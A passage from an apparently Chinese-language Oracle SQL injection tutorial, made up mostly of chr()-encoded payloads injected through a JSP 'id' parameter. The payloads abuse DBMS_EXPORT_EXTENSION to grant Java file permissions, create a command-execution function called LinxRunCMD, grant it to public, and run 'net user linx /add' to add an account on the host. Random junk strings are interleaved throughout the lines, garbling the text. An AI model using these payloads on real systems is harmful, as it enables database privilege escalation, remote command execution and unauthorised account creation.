chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||4 s* D ]: C% n. R
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||1 g( Y( u& {! V% y
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45): i6 l$ P+ l0 l2 C
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
: e; {; Q! f# X2 |8 |" ?& {; W R5 `9 G* O* O& G4 ~
)
7 e$ ?- E' v% t% o7 Y4 `" }0 K! a# o& ~
------------------------------
# ^+ X) G- V1 C; v- |" K- }5 p+ S( J! o% M3 T/ U
2.赋Java权限# v: v/ P) f+ k, C O7 Q
/xxx.jsp?id=1 and chr(49)<>chr(50)||(" T ]. w# W2 l: f4 ~2 j( ?
m. |# k: `* O; k; v* uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% r# A9 `+ G: ?7 Kchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
1 j e) P; P/ z3 ]3 [ Qchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
2 A Q8 @. I$ J, \% qchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||$ F5 P6 D2 c% X, r* V0 [& f* R2 o
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
, M& x- Z: r+ I6 {3 Q/ H }5 h( Xchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||, V* C7 N4 {" N& B& D
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||2 X C. k" y0 s/ N5 x7 h( B6 o
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
, n5 z4 F, S$ m# X) A3 [0 \chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||# H3 w5 Q$ \0 N! ?& \+ k8 `$ `
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
! O, @; Q/ f8 ?,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual. B M* y! q) z5 S4 Q$ K
& [+ k0 O4 Y( J d4 Q: d, h)8 u2 ?2 M. V: k# V6 `* X7 M0 R+ R
# U z9 l i# z
readfile函数的ascii版就不写了,见谅。' T$ j- A% e% {* H
) ]4 U; H- H0 s" h& [3.创建函数
9 o8 ~' K) k) j% t# E/ r7 L( |( F4 \/ U8 z9 C0 v" ?( O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ s( f" Y' {- J8 q- o: H hchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
% ]7 `$ p" f, I1 G: r: o0 {chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
" A) ?$ j& `4 q- Cchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
; j/ p e8 G3 i! e2 W Zchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||2 d' l e( _& v+ W" a( g
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
2 m0 w2 k% u# Ichr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
- H2 w/ b4 M! K* @+ }7 w. xchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
: d" i3 t! n9 Q! U4 ~: G. @) xchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 x: r8 D- N4 G/ c: Uchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
. I) v! X" `" |9 V1 r: X, E" Ychr(59)||chr(45)||chr(45)
7 t& H3 n' b a' c7 v/ B; y,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
, T4 O4 n; W% N1 W/ ^% {- h/ h& H0 g% O8 l! X& K
" l+ G& k1 _; A( G) g4 m' @1 f7 N6 d
1 w% K6 p [; R/ R5 S4.赋public执行函数的权限! P8 E" o: Q1 V- \' t
* }0 j6 b2 B: o- c8 Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),5 H" z( N ^/ P7 Y% c/ e
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' f5 L5 o5 s* U( M
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||# l) y* t9 Y( b8 t: {: p
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||' c& h% ]0 r" Y# Q8 }
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
* o; F% l. B7 B" M# fchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||( E( C4 p4 \0 ~
chr(59)||chr(45)||chr(45)
4 Q2 [5 r9 E7 D,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual8 [7 U; v' v# l2 d+ H9 }4 V
/ j9 E% c" Z5 y
$ t7 I! A4 }, b( P. y) `$ s
8 `# J6 N& L0 @+ e: B/ Y% E) Z5.执行命令:* v1 W9 V+ j: z& A- p" y# O7 X
# ]' _, C6 u2 i5 p: V
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
& ~! K6 A+ i: _$ y oselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 l8 B" P9 _8 g2 Y/ ~4 t, H+ \# l)
5 P$ N' C2 N/ C) I7 ?
% ~; ^- S: G8 m+ b, L$ k即% E/ H$ G9 {- _- L# V& `0 K
/xxx.jsp?id=1 and chr(49)<>chr(32)||(8 R4 N7 u# n9 X- a" |7 f* h, l* x
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
9 }; \( i1 r! Y ~0 y- u% B)
1 P; W a$ ]1 I0 {7 W |